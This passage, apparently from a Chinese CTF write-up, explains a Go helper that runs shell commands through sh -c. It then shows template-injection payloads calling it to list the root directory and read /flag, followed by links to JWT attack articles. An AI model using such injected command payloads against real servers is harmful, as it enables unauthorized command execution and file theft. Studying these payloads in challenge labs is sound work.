    if err != nil {
        return fmt.Sprintf("Error executing command: %v\n%s", err, string(output))
    }
    return string(output)
}

这个函数是一个 Go 语言函数,它的主要作用是执行一段 shell 命令并返回执行结果。使用 exec.Command("sh", "-c", code) 创建一个命令对象,通过 sh -c 的方式执行传入的命令字符串,调用 cmd.CombinedOutput() 执行命令并获取合并的输出。

{{ExecuteCode "ls /"}}

执行 {{ExecuteCode "cat /flag"}}

参考文章:

JWT(JSON Web Token)验证过程 – 牛马chen – 博客园

JWT攻击详解与CTF实战 – 星海河 – 博客园

上一篇